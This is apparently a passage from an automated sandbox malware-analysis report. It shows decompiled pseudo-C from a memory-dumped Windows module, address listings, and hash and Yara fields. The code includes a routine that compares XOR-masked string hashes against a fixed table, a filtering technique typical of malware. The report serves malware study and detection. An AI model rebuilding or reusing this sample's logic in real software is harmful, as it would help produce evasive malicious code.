																		if(_t286 == 0) {
																			goto L91;
																		}
																		_t287 =  *((char*)(_t233 + _t343 * 2));
																		 *(_t241 + _t343 * 2) = _t287;
																		__eflags = _t287;
																		if(_t287 != 0) {
																			continue;
																		}
																		goto L91;
																	}
																	goto L91;
																}
																_t206 = _t206 + 1;
																__eflags = _t206 - _v60;
																if(_t206 < _v60) {
																	continue;
																}
																goto L83;
															}
															_t275 = _v68;
															_t382 = _v32;
															_t314 = _t244 + 1;
															__eflags = _t314;
															if(_t314 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t208 =  <=  ? _v44 : _v48;
															_t205 =  <=  ? _v44 : _v48;
															__eflags =  *(_t244 + 1);
															if( *(_t244 + 1) == 0) {
																goto L52;
															}
															_v68 = _t275;
															_v32 = _t382;
															while(1) {
																_t244 = _t244 + 1;
																_t314 = _t314 + 1;
																_t276 =  *_t244 & 0x000000ff;
																__eflags =  *((char*)(_t314 - 1)) + 0xffffffbf - 0x19;
																_t277 =  <=  ? _t276 + 0x20 : _t276;
																__eflags = ( <=  ? _t276 + 0x20 : _t276) - _t205;
																if(( <=  ? _t276 + 0x20 : _t276) == _t205) {
																	goto L163;
																}
																__eflags =  *_t314;
																if( *_t314 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L163;
														}
														_t205 = _v36;
														while(1) {
															__eflags =  *((char*)(_t309 + _t205));
															if( *((char*)(_t309 + _t205)) == 0) {
																break;
															}
															_t309 = _t309 + 1;
															__eflags = _t309 - 0x7fffffff;
															if(_t309 < 0x7fffffff) {
																continue;
															}
															_v36 = _t205;
															goto L77;
														}
														L158:
														_v36 = _t205;
														L159:
														__eflags = _t309;
														if(__eflags == 0) {
															goto L77;
														}
														if(__eflags > 0) {
															goto L78;
														}
														goto L83;
													}
													asm("bsf edx, eax");
													_v36 = _t378;
													_t309 = _t309 + _t356;
													_t379 = _v32;
													goto L159;
												}
												_t205 = _v36;
												_t356 = _t377;
												_t309 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t309 + _t205));
													if( *((char*)(_t309 + _t205)) == 0) {
														goto L158;
													}
													_t309 = _t309 + 1;
													__eflags = _t309 - _t377;
													if(_t309 < _t377) {
														continue;
													}
													_v36 = _t205;
													goto L69;
												}
												goto L158;
												L163:
												_t270 = _v68;
												_t377 = _v32;
												__eflags = _t244;
											} while (_t244 != 0);
											goto L52;
										}
										goto L39;
									}
									_t236 =  *_t292;
									 *_t261 = _t236;
									__eflags = _t236;
									if(_t236 == 0) {
										goto L33;
									}
									_v60 = _t370;
									_t237 = 0;
									__eflags = 0;
									_v64 = _t240;
									_v68 = _t353;
									while(1) {
										_t237 = _t237 + 1;
										_t251 =  *((char*)(_t292 + _t237 * 2 - 1));
										 *(_t261 + _t237 * 2 - 1) = _t251;
										__eflags = _t251;
										if(_t251 == 0) {
											break;
										}
										_t252 =  *((char*)(_t292 + _t237 * 2));
										 *(_t261 + _t237 * 2) = _t252;
										__eflags = _t252;
										if(_t252 != 0) {
											continue;
										}
										break;
									}
									_t370 = _v60;
									_t240 = _v64;
									_t353 = _v68;
									goto L33;
								}
							}
							_t261 = _v56;
							goto L36;
						}
						_t347 = _t363 & 0x0000000f;
						__eflags = _t347;
						if(_t347 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t258 =  ~( ~_t347 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t258;
							while(1) {
								asm("movdqu xmm1, [esi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t182;
								if(_t182 != 0) {
									break;
								}
								_t347 = _t347 + 0x10;
								__eflags = _t347 - _t258;
								if(_t347 < _t258) {
									continue;
								}
								__eflags = _t258 - 0x7fffffff;
								if(_t258 >= 0x7fffffff) {
									L21:
									_t260 = 0x40;
									_t240 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t258 + _t363));
									if( *((char*)(_t258 + _t363)) == 0) {
										break;
									}
									_t258 = _t258 + 1;
									__eflags = _t258 - 0x7fffffff;
									if(_t258 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L165:
								__eflags = _t240 - 0xfffffffe;
								if(_t240 != 0xfffffffe) {
									_t260 = 0x40;
								} else {
									 *_t363 = 0;
									_t260 = _v52;
								}
								goto L22;
							}
							asm("bsf ebx, eax");
							_t240 = _t258 + _t347;
							goto L165;
						}
						_t240 = 0;
						_t347 =  ~_t347 + 0x10;
						__eflags = _t347;
						while(1) {
							__eflags =  *((char*)(_t240 + _t363));
							if( *((char*)(_t240 + _t363)) == 0) {
								goto L165;
							}
							_t240 = _t240 + 1;
							__eflags = _t240 - _t347;
							if(_t240 < _t347) {
								continue;
							}
							goto L15;
						}
						goto L165;
					}
					_t188 =  &_v56;
					goto L37;
				}
				if(_t363 == 0) {
					L6:
					_push(1);
					_push(_t181);
					E6E6610B0();
					_t391 = _t391 + 8;
					goto L8;
				}
				_t349 =  *_t181;
				 *_t363 = _t349;
				if(_t349 == 0) {
					goto L6;
				}
				_t288 = 0;
				while(1) {
					_t288 = _t288 + 1;
					_t350 =  *((char*)(_t181 + _t288 * 2 - 1));
					 *((char*)(_t363 + _t288 * 2 - 1)) = _t350;
					if(_t350 == 0) {
						goto L6;
					}
					_t351 =  *((char*)(_t181 + _t288 * 2));
					 *((char*)(_t363 + _t288 * 2)) = _t351;
					if(_t351 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6e67173e
0x6e671742
0x6e671744
0x6e671748
0x6e67174f
0x6e671751
0x6e671754
0x6e67175a
0x6e671791
0x6e671794
0x6e671794
0x6e671798
0x6e6717a0
0x6e6717a6
0x6e6717b1
0x6e6717b3
0x6e671e9e
0x6e671ea3
0x6e67182d
0x6e671832
0x6e671832
0x6e671835
0x6e671838
0x6e67183b
0x6e67183d
0x6e671852
0x6e671855
0x6e671855
0x6e67185b
0x6e671863
0x6e671863
0x6e671863
0x6e671866
0x6e67186d
0x6e671870
0x6e671876
0x6e671878
0x6e67187b
0x6e67187f
0x6e671881
0x6e6718d6
0x00000000
0x6e671883
0x6e671883
0x6e671885
0x6e6718c1
0x6e6718c1
0x6e6718c3
0x6e6718c4
0x6e6718c8
0x6e6718cd
0x6e6718d1
0x6e6718d9
0x6e6718d9
0x6e6718dd
0x6e6718e1
0x6e6718e5
0x6e6718e8
0x6e6718ee
0x6e6718f3
0x6e6718f3
0x6e6718f7
0x6e671900
0x6e671900
0x6e671905
0x6e671907
0x6e671909
0x6e671911
0x6e671913
0x6e671919
0x6e67191d
0x6e671957
0x6e671a03
0x6e671a03
0x6e671a06
0x6e671a08
0x6e671a0f
0x6e671a0f
0x6e671a11
0x6e671a15
0x6e671a1f
0x6e671a23
0x6e671a33
0x6e671a33
0x6e671921
0x6e671947
0x6e671947
0x6e671949
0x6e67194a
0x6e67194f
0x00000000
0x6e67194f
0x6e671923
0x6e671926
0x6e67192a
0x00000000
0x00000000
0x6e67192c
0x6e67192e
0x6e67192e
0x6e67192f
0x6e671934
0x6e67193a
0x00000000
0x00000000
0x6e67193c
0x6e671940
0x6e671945
0x00000000
0x00000000
0x00000000
0x6e671945
0x00000000
0x6e67192e
0x6e6718f9
0x6e6718fe
0x6e67195f
0x6e671961
0x6e671963
0x6e6719ac
0x6e6719ac
0x6e6719b1
0x6e6719b3
0x6e6719b5
0x6e6719bd
0x6e6719bf
0x6e6719c5
0x6e6719c7
0x6e6719c9
0x6e671a00
0x00000000
0x6e671a00
0x6e6719cb
0x6e6719cd
0x6e6719f3
0x6e6719f3
0x6e6719f5
0x6e6719f6
0x6e6719fb
0x00000000
0x6e6719fb
0x6e6719cf
0x6e6719d2
0x6e6719d4
0x6e6719d6
0x00000000
0x00000000
0x6e6719d8
0x6e6719d8
0x6e6719da
0x6e6719da
0x6e6719db
0x6e6719e0
0x6e6719e4
0x6e6719e6
0x00000000
0x00000000
0x6e6719e8
0x6e6719ec
0x6e6719ef
0x6e6719f1
0x00000000
0x00000000
0x00000000
0x6e6719f1
0x00000000
0x6e6719da
0x6e671965
0x6e671968
0x00000000
0x00000000
0x6e67196a
0x6e67196e
0x6e671971
0x6e671977
0x6e67197b
0x6e67197e
0x6e671981
0x6e671981
0x6e671983
0x6e671986
0x6e67198a
0x6e67198c
0x6e67198c
0x6e671992
0x6e671998
0x6e67199b
0x6e67199e
0x00000000
0x00000000
0x6e6719a4
0x6e6719a5
0x6e6719a6
0x6e6719aa
0x00000000
0x00000000
0x00000000
0x6e6719aa
0x6e671a36
0x6e671a3a
0x6e671a3e
0x6e671a40
0x00000000
0x00000000
0x6e671a4b
0x6e671a4e
0x6e671a56
0x6e671a5a
0x6e671a5e
0x6e671a5e
0x6e671a61
0x6e671a65
0x6e671a69
0x6e671a69
0x6e671a6b
0x6e671a6d
0x6e671a8a
0x6e671a96
0x6e671a9a
0x6e671a9a
0x6e671aa0
0x6e671aa4
0x6e671aa4
0x6e671aa9
0x6e671aad
0x6e671ab1
0x6e671ab3
0x00000000
0x00000000
0x6e671ab9
0x6e671abc
0x6e671abe
0x00000000
0x00000000
0x6e671ac0
0x6e671ac4
0x6e671ac8
0x6e671ace
0x6e671aeb
0x6e671aeb
0x6e671af0
0x6e671af0
0x6e671af4
0x6e671af4
0x6e671af6
0x6e671af9
0x6e671afd
0x6e671b01
0x6e671b05
0x6e671b09
0x6e671b0c
0x6e671b0f
0x6e671b15
0x6e671b18
0x6e671b1b
0x6e671b21
0x6e671b24
0x6e671b27
0x6e671b29
0x00000000
0x00000000
0x6e671b35
0x6e671b37
0x6e671b40
0x6e671b40
0x6e671b44
0x6e671b46
0x00000000
0x00000000
0x6e671b4c
0x6e671b4c
0x6e671b4e
0x6e671bb1
0x6e671bb1
0x6e671bb4
0x6e671bc8
0x6e671bd4
0x6e671bd4
0x6e671bda
0x6e671bda
0x6e671bdf
0x6e671be3
0x6e671be7
0x6e671be9
0x00000000
0x00000000
0x6e671bef
0x6e671bf2
0x6e671bf4
0x00000000
0x00000000
0x6e671bf6
0x6e671bfc
0x6e671c0d
0x6e671c0d
0x6e671c12
0x6e671c17
0x6e671c19
0x6e671c1b
0x6e671c1d
0x6e671c23
0x6e671c23
0x6e671c25
0x6e671c25
0x6e671c2c
0x6e671c2e
0x6e671c31
0x6e671c31
0x6e671c33
0x6e671c37
0x6e671d7b
0x6e671d7b
0x6e671d82
0x6e671d84
0x6e671d8a
0x6e671d8c
0x6e671d8e
0x6e671dc8
0x00000000
0x6e671dc8
0x6e671d90
0x6e671d92
0x6e671db8
0x6e671db8
0x6e671dba
0x6e671dbb
0x6e671dc0
0x00000000
0x6e671dc0
0x6e671d94
0x6e671d97
0x6e671d99
0x6e671d9b
0x00000000
0x00000000
0x6e671d9d
0x6e671d9d
0x6e671d9f
0x6e671d9f
0x6e671da0
0x6e671da5
0x6e671da9
0x6e671dab
0x00000000
0x00000000
0x6e671dad
0x6e671db1
0x6e671db4
0x6e671db6
0x00000000
0x00000000
0x00000000
0x6e671db6
0x00000000
0x6e671d9f
0x6e671c3d
0x6e671c41
0x00000000
0x00000000
0x6e671c47
0x6e671c49
0x6e671cb0
0x6e671cb5
0x6e671cb5
0x6e671cb8
0x6e671cbb
0x6e671cbe
0x6e671cc0
0x6e671cd6
0x6e671cd9
0x6e671cd9
0x6e671cdf
0x6e671ce7
0x6e671ce7
0x6e671ce7
0x6e671cea
0x6e671cf4
0x6e671cf7
0x6e671cfa
0x6e671d00
0x6e671d02
0x6e671d08
0x6e671d0a
0x6e671d0c
0x6e671d43
0x00000000
0x6e671d0e
0x6e671d0e
0x6e671d10
0x6e671d36
0x6e671d36
0x6e671d38
0x6e671d39
0x6e671d3e
0x6e671d46
0x6e671d46
0x6e671d4c
0x6e671d4f
0x6e671d51
0x6e671d51
0x6e671d53
0x00000000
0x00000000
0x6e671d59
0x6e671d5d
0x6e671d63
0x6e671d63
0x6e671d66
0x6e671d67
0x6e671d69
0x6e671d6b
0x00000000
0x00000000
0x6e671d6d
0x6e671d6f
0x6e671dd0
0x00000000
0x6e671dd0
0x6e671d71
0x6e671d71
0x6e671d73
0x00000000
0x00000000
0x6e671d61
0x6e671d62
0x6e671d62
0x6e671d62
0x6e671d63
0x6e671d12
0x6e671d15
0x6e671d17
0x6e671d19
0x00000000
0x00000000
0x6e671d1b
0x6e671d1b
0x6e671d1d
0x6e671d1d
0x6e671d1e
0x6e671d23
0x6e671d27
0x6e671d29
0x00000000
0x00000000
0x6e671d2b
0x6e671d2f
0x6e671d32
0x6e671d34
0x00000000
0x00000000
0x00000000
0x6e671d34
0x00000000
0x6e671d1d
0x6e671d0c
0x6e671cc2
0x00000000
0x6e671cc2
0x6e671c4b
0x6e671c4f
0x6e671c4f
0x6e671c52
0x6e671c66
0x6e671c72
0x6e671c72
0x6e671c78
0x6e671c78
0x6e671c7d
0x6e671c81
0x6e671c85
0x6e671c87
0x00000000
0x00000000
0x6e671c8d
0x6e671c90
0x6e671c92
0x00000000
0x00000000
0x6e671c94
0x6e671c9a
0x6e671cab
0x6e671cab
0x00000000
0x00000000
0x00000000
0x00000000
0x6e671c9c
0x6e671c9c
0x6e671c9c
0x6e671ca0
0x00000000
0x00000000
0x6e671ca2
0x6e671ca3
0x6e671ca9
0x00000000
0x00000000
0x00000000
0x6e671ca9
0x00000000
0x6e671c9c
0x6e671dd9
0x6e671ddc
0x00000000
0x6e671ddc
0x6e671c56
0x6e671c58
0x6e671c58
0x6e671c5b
0x6e671c5b
0x6e671c5f
0x00000000
0x00000000
0x6e671c61
0x6e671c62
0x6e671c64
0x00000000
0x00000000
0x00000000
0x6e671c64
0x00000000
0x6e671c5b
0x6e671c1f
0x6e671c21
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e671bfe
0x6e671bfe
0x6e671bfe
0x6e671c02
0x00000000
0x00000000
0x6e671c04
0x6e671c05
0x6e671c0b
0x00000000
0x00000000
0x00000000
0x6e671c0b
0x00000000
0x6e671bfe
0x6e671de3
0x6e671de6
0x00000000
0x6e671de6
0x6e671bb8
0x6e671bba
0x6e671bba
0x6e671bbd
0x6e671bbd
0x6e671bc1
0x00000000
0x00000000
0x6e671bc3
0x6e671bc4
0x6e671bc6
0x00000000
0x00000000
0x00000000
0x6e671bc6
0x00000000
0x6e671bbd
0x6e671b50
0x6e671b55
0x6e671b57
0x6e671b59
0x6e671b61
0x6e671b63
0x6e671b69
0x6e671b6b
0x6e671b6d
0x6e671ba7
0x00000000
0x6e671ba7
0x6e671b6f
0x6e671b71
0x6e671b97
0x6e671b97
0x6e671b99
0x6e671b9a
0x6e671b9f
0x00000000
0x6e671b9f
0x6e671b73
0x6e671b76
0x6e671b78
0x6e671b7a
0x00000000
0x00000000
0x6e671b7c
0x6e671b7c
0x6e671b7e
0x6e671b7e
0x6e671b7f
0x6e671b84
0x6e671b88
0x6e671b8a
0x00000000
0x00000000
0x6e671b8c
0x6e671b90
0x6e671b93
0x6e671b95
0x00000000
0x00000000
0x00000000
0x6e671b95
0x00000000
0x6e671b7e
0x6e671b39
0x6e671b3a
0x6e671b3e
0x00000000
0x00000000
0x00000000
0x6e671b3e
0x6e671ded
0x6e671df0
0x6e671df6
0x6e671df6
0x6e671df7
0x00000000
0x00000000
0x6e671dfd
0x6e671e06
0x6e671e0b
0x6e671e0e
0x6e671e12
0x00000000
0x00000000
0x6e671e18
0x6e671e1b
0x6e671e1f
0x6e671e1f
0x6e671e20
0x6e671e21
0x6e671e2b
0x6e671e31
0x6e671e34
0x6e671e36
0x00000000
0x00000000
0x6e671e38
0x6e671e3b
0x00000000
0x00000000
0x00000000
0x6e671e3d
0x00000000
0x6e671e1f
0x6e671ad0
0x6e671ad4
0x6e671ad4
0x6e671ad8
0x00000000
0x00000000
0x6e671ade
0x6e671adf
0x6e671ae5
0x00000000
0x00000000
0x6e671ae7
0x00000000
0x6e671ae7
0x6e671e42
0x6e671e42
0x6e671e46
0x6e671e46
0x6e671e48
0x00000000
0x00000000
0x6e671e4e
0x00000000
0x00000000
0x00000000
0x6e671e54
0x6e671e59
0x6e671e5c
0x6e671e60
0x6e671e62
0x00000000
0x6e671e62
0x6e671a6f
0x6e671a73
0x6e671a75
0x6e671a75
0x6e671a77
0x6e671a77
0x6e671a7b
0x00000000
0x00000000
0x6e671a81
0x6e671a82
0x6e671a84
0x00000000
0x00000000
0x6e671a86
0x00000000
0x6e671a86
0x00000000
0x6e671e68
0x6e671e68
0x6e671e6b
0x6e671e6f
0x6e671e6f
0x00000000
0x6e671e77
0x00000000
0x6e6718fe
0x6e671887
0x6e67188a
0x6e67188c
0x6e67188e
0x00000000
0x00000000
0x6e671890
0x6e671894
0x6e671894
0x6e671896
0x6e67189a
0x6e67189d
0x6e67189d
0x6e67189e
0x6e6718a3
0x6e6718a7
0x6e6718a9
0x00000000
0x00000000
0x6e6718ab
0x6e6718af
0x6e6718b2
0x6e6718b4
0x00000000
0x00000000
0x00000000
0x6e6718b4
0x6e6718b6
0x6e6718ba
0x6e6718be
0x00000000
0x6e6718be
0x6e671881
0x6e67183f
0x00000000
0x6e67183f
0x6e6717bb
0x6e6717bb
0x6e6717be
0x6e6717d6
0x6e6717da
0x6e6717e6
0x6e6717e6
0x6e6717ec
0x6e6717ec
0x6e6717f1
0x6e6717f5
0x6e6717f9
0x6e6717fb
0x00000000
0x00000000
0x6e671801
0x6e671804
0x6e671806
0x00000000
0x00000000
0x6e671808
0x6e67180e
0x6e671823
0x6e671823
0x6e671828
0x00000000
0x00000000
0x00000000
0x00000000
0x6e671810
0x6e671810
0x6e671810
0x6e671814
0x00000000
0x00000000
0x6e67181a
0x6e67181b
0x6e671821
0x00000000
0x00000000
0x00000000
0x6e671821
0x6e671e7c
0x6e671e7c
0x6e671e7f
0x6e671e8d
0x6e671e81
0x6e671e81
0x6e671e84
0x6e671e84
0x00000000
0x6e671e7f
0x6e671e97
0x6e671e9a
0x00000000
0x6e671e9a
0x6e6717c2
0x6e6717c4
0x6e6717c4
0x6e6717c7
0x6e6717c7
0x6e6717cb
0x00000000
0x00000000
0x6e6717d1
0x6e6717d2
0x6e6717d4
0x00000000
0x00000000
0x00000000
0x6e6717d4
0x00000000
0x6e6717c7
0x6e6717a8
0x00000000
0x6e6717a8
0x6e67175e
0x6e671784
0x6e671784
0x6e671786
0x6e671787
0x6e67178c
0x00000000
0x6e67178c
0x6e671760
0x6e671763
0x6e671767
0x00000000
0x00000000
0x6e671769
0x6e67176b
0x6e67176b
0x6e67176c
0x6e671771
0x6e671777
0x00000000
0x00000000
0x6e671779
0x6e67177d
0x6e671782
0x00000000
0x00000000
0x00000000
0x6e671782
0x00000000

Strings

@, xrefs: 6E671798

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: a8b937767d9d941c8a342fb20a13b9f32eeb100c99e286f27a39f05552e35147
Instruction ID: 1e42bfda9707c7ea9b8e0d15495787125a8855e44fc6c1d3fbf41efc93adcbc8
Opcode Fuzzy Hash: a8b937767d9d941c8a342fb20a13b9f32eeb100c99e286f27a39f05552e35147
Instruction Fuzzy Hash: 69322E70A0C3934FDF218AA984B035A7BE66FC7310F1886AFD8E54F255EA75C949C742

Uniqueness

Uniqueness Score: -1.00%

Function 6E659E70, Relevance: 1.8, Strings: 1, Instructions: 591
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E6E659E70(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t212;
				void* _t214;
				void* _t218;
				void* _t287;
				void* _t289;
				void* _t290;
				void* _t291;
				char* _t324;
				void* _t337;
				void* _t340;
				signed int _t358;
				char _t360;
				intOrPtr _t369;
				intOrPtr _t370;
				void* _t371;
				void* _t372;
				void* _t374;
				void* _t376;
				void* _t391;
				void* _t410;
				intOrPtr* _t438;
				signed int _t528;
				char* _t529;
				void* _t530;
				intOrPtr* _t533;
				void* _t534;
				signed int _t537;
				void* _t538;
				void* _t539;
				void* _t541;
				intOrPtr _t542;
				void* _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				intOrPtr* _t554;
				intOrPtr _t555;
				void* _t556;
				intOrPtr _t557;
				intOrPtr _t558;
				intOrPtr _t559;
				void* _t561;
				intOrPtr* _t563;
				void* _t564;

				_t512 = __edx;
				_t557 = __edx;
				_t369 = __ecx;
				if(E6E684850(E6E679640(__ecx, 0), __edx) == 0 ||  *((char*)(E6E663930(__ecx, 0, _t530, _t539) + 0xb)) != 0x20) {
					_t212 = E6E6848C0(E6E679640(_t369, 0), _t512);
					__eflags = _t212;
					if(_t212 == 0) {
						L36:
						__eflags = 0;
						return 0;
					} else {
						_t214 = E6E663930(_t369, 0, _t530, _t539);
						__eflags =  *((char*)(_t214 + 0xb)) - 0x40;
						if( *((char*)(_t214 + 0xb)) != 0x40) {
							goto L36;
						} else {
							 *((intOrPtr*)(_t563 + 0x10)) = 0x40;
							goto L6;
						}
					}
				} else {
					 *((intOrPtr*)(_t563 + 0x10)) = 0x20;
					L6:
					 *((intOrPtr*)(_t563 + 0x4e8)) = 0;
					 *((intOrPtr*)(_t563 + 0x4ec)) = 0;
					 *((intOrPtr*)(_t563 + 0x4f0)) = 0;
					E6E6706A0(_t563 + 0x470, _t557, 0);
					E6E662370(_t563 + 0x474, _t530, _t539);
					_t218 = E6E676EC0(_t563 + 0x474,  *((intOrPtr*)(_t563 + 0x478)), 0);
					E6E65AC00(_t563 + 0x47c, 9);
					E6E66FDB0(_t563 + 0x480, _t563 + 0x484);
					E6E676EC0(_t218,  *((intOrPtr*)(_t563 + 0x488)), 0);
					E6E670B10(_t563 + 0x484);
					E6E668CA0(_t563 + 0x47c);
					E6E670B10(_t563 + 0x474);
					_t391 = _t563 + 0x18c;
					 *((intOrPtr*)(_t391 - 0x10)) = 0;
					 *((char*)(_t391 - 0xc)) = 1;
					 *((intOrPtr*)(_t391 - 8)) = 0;
					 *((intOrPtr*)(_t391 - 4)) = 3;
					E6E6687A0(_t391);
					_push(1);
					if(E6E67CEA0(_t369, _t563 + 0x180,  *((intOrPtr*)(_t563 + 0x46c)), _t563 + 0x484, _t218) != 0) {
						 *((intOrPtr*)(_t563 + 4)) = _t557;
						_t538 = _t563 + 0x1c0;
						_t556 = _t563 + 0x4c4;
						goto L8;
						L8:
						E6E668AB0(_t563 + 0x4c4, _t538, 0);
						E6E66FDB0(_t563 + 0x4c0, _t556);
						E6E6737E0(_t563 + 0x4f0,  *((intOrPtr*)(_t563 + 0x4c8)),  *((intOrPtr*)(_t563 + 0x4e8)));
						E6E670B10(_t556);
						E6E668CA0(_t563 + 0x4bc);
						if(E6E67D0E0(_t563 + 0x17c) != 0) {
							goto L8;
						} else {
							_t557 =  *((intOrPtr*)(_t563 + 4));
						}
					}
					E6E668CA0(_t563 + 0x18c);
					if( *((char*)(_t563 + 0x180)) != 0) {
						_t555 =  *((intOrPtr*)(_t563 + 0x17c));
						if(_t555 == 0 || _t555 == 0xffffffff) {
							_t360 = 1;
						} else {
							_t360 = 0;
						}
						if(_t360 == 0) {
							E6E67CE70(_t555);
						}
					}
					 *((intOrPtr*)(_t563 + 0x17c)) = 0;
					E6E670B10(_t563 + 0x46c);
					 *((intOrPtr*)(_t563 + 0x440)) = 0;
					 *((intOrPtr*)(_t563 + 0x444)) = 0;
					 *((intOrPtr*)(_t563 + 0x448)) = 0;
					_t541 = E6E67E170(0,  *((intOrPtr*)(_t563 + 0x4e8)));
					 *((intOrPtr*)(_t563 + 0x14)) =  *((intOrPtr*)(_t563 + 0x4e8));
					 *_t563 = _t369;
					 *((intOrPtr*)(_t563 + 4)) = _t557;
					_t558 = 0;
					while(1) {
						_t542 =  ==  ? _t558 : _t541;
						_t533 = E6E677600(_t563 + 0x4ec, _t542);
						_t516 = _t533;
						if(E6E65A830( *((intOrPtr*)(_t563 + 0x10)), _t533, _t542) == 0) {
							goto L35;
						}
						E6E6706A0(_t563 + 0x4d0, _t558, 0);
						E6E662370(_t563 + 0x4d4, _t533, _t542);
						E6E676EC0(E6E676EC0(_t563 + 0x4d4,  *((intOrPtr*)(_t563 + 0x4d8)), 0),  *_t533, 0);
						E6E670B10(_t563 + 0x4d4);
						E6E67A280(_t563 + 0x49c,  *((intOrPtr*)(_t563 + 0x4d8)), 1, 0, 0x80);
						E6E67A520(_t563 + 0x494, _t516, _t563 + 0x4a4, 0);
						E6E684A20(_t563 + 0x4dc, E6E679640(_t563 + 0x4a4, 0));
						E6E679510(_t563 + 0x4a0);
						E6E67BDC0(_t563 + 0x49c, 0);
						if(E6E677620(_t563 + 0x4dc, _t542) != 0) {
							 *((intOrPtr*)(_t563 + 0x4b0)) = _t558;
							_t410 = _t563 + 0x4dc;
							 *((intOrPtr*)(_t410 - 0x28)) = _t558;
							 *((intOrPtr*)(_t410 - 0x24)) = _t558;
							E6E677560(_t410, _t533, _t542);
							__eflags =  *((char*)(_t563 + 0x49c));
							if( *((char*)(_t563 + 0x49c)) != 0) {
								E6E67BE30(_t563 + 0x498, _t542);
							}
						} else {
							if( *((intOrPtr*)(_t563 + 0x4dc)) > 0) {
								 *((intOrPtr*)(_t563 + 0xc)) = _t533;
								 *((intOrPtr*)(_t563 + 8)) = _t542;
								_t376 = _t563 + 0x4f4;
								do {
									_t554 = E6E677600(_t563 + 0x4e0, _t558);
									E6E671020(_t554, _t376);
									_t358 = E6E67D620( *((intOrPtr*)(_t563 + 0x4f4)), E6E676040( *((intOrPtr*)(_t563 + 0x4f4)), 0x7fffffff));
									E6E670B10(_t376);
									_t537 = _t358 ^ 0x38ba5c7b;
									_t528 = 0;
									while(_t537 !=  *((intOrPtr*)(0x6e689440 + _t528 * 4))) {
										_t528 = _t528 + 1;
										if(_t528 < 0x30) {
											continue;
										} else {
											_t529 =  *_t554;
											if(_t529 != 0) {
												 *_t529 = 0;
											}
										}
										goto L27;
									}
									L27:
									_t558 = _t558 + 1;
								} while (_t558 <  *((intOrPtr*)(_t563 + 0x4dc)));
								_t533 =  *((intOrPtr*)(_t563 + 0xc));
								_t558 = 0;
								_t542 =  *((intOrPtr*)(_t563 + 8));
							}
							E6E6771F0(_t563 + 0x4b4, _t542, E6E673EC0(_t563 + 0x4dc));
							E6E677560(_t563 + 0x4dc, _t533, _t542);
							if( *((char*)(_t563 + 0x49c)) != 0) {
								E6E67BE30(_t563 + 0x498, _t542);
							}
						}
						E6E668CA0(_t563 + 0x48c);
						E6E670B10(_t563 + 0x4cc);
						if(E6E677620(_t563 + 0x4b0, _t542) != 0) {
							E6E677560(_t563 + 0x4b0, _t533, _t542);
							goto L35;
						}
						_t370 =  *_t563;
						_t559 =  *((intOrPtr*)(_t563 + 4));
						_t543 = E6E67E170(0,  *((intOrPtr*)(_t563 + 0x4b0)));
						E6E6737E0(_t563 + 0x448,  *_t533,  *((intOrPtr*)(_t563 + 0x440)));
						E6E6737E0(_t563 + 0x448,  *((intOrPtr*)(E6E677600(_t563 + 0x4b4, _t252))),  *((intOrPtr*)(_t563 + 0x440)));
						E6E677560(_t563 + 0x4b0, _t533, _t252);
						E6E677560(_t563 + 0x4e8, _t533, _t252);
						E6E6706A0(_t563 + 0x450, _t559, 0);
						E6E6706A0(_t563 + 0x458, _t559, 0);
						E6E676EC0(_t563 + 0x454,  *((intOrPtr*)(E6E677600(_t563 + 0x444, 0))), 0);
						E6E676EC0(_t563 + 0x45c,  *((intOrPtr*)(E6E677600(_t563 + 0x444, 1))), 0);
						E6E6706A0(_t563 + 0x460, _t559, 0);
						E6E662370(_t563 + 0x464, _t533, _t252);
						E6E676EC0(E6E676EC0(_t563 + 0x464,  *((intOrPtr*)(_t563 + 0x468)), 0),  *((intOrPtr*)(_t563 + 0x458)), 0);
						E6E670B10(_t563 + 0x464);
						E6E67A280(_t563 + 0x42c,  *((intOrPtr*)(_t563 + 0x468)), 1, 0, 0x80);
						E6E67A520(_t563 + 0x424,  *((intOrPtr*)(_t563 + 0x4b0)), _t563 + 0x430, 0);
						__eflags =  *((char*)(_t563 + 0x42c));
						if( *((char*)(_t563 + 0x42c)) != 0) {
							E6E67BE30(_t563 + 0x428, _t543);
						}
						E6E668CA0(_t563 + 0x41c);
						__eflags = E6E679660(_t563 + 0x430);
						if(__eflags == 0) {
							E6E6706A0(_t563 + 0x3e4, _t559, 0);
							_push(0);
							E6E679350(_t563 + 0x3f4);
							_push(0);
							E6E679350(_t563 + 0x404);
							_t438 = _t563 + 0x410;
							 *_t438 = 0;
							 *((intOrPtr*)(_t438 + 4)) = 0;
							 *((intOrPtr*)(_t438 + 8)) = 0;
							E6E677560(_t438, _t533, _t543);
							E6E67A110(_t563 + 0x400);
							_t280 = E6E67A110(_t563 + 0x3f0);
							__eflags =  *((intOrPtr*)(_t563 + 0x10)) - 0x20;
							if( *((intOrPtr*)(_t563 + 0x10)) != 0x20) {
								__eflags =  *((intOrPtr*)(_t563 + 0x10)) - 0x40;
								if( *((intOrPtr*)(_t563 + 0x10)) == 0x40) {
									_t337 = E6E6847D0(E6E679640(_t563 + 0x434, 0));
									_t280 = _t337 + 0x88;
									__eflags = _t337 + 0x88;
								}
							} else {
								_t280 = E6E6847D0(E6E679640(_t563 + 0x434, 0)) + 0x78;
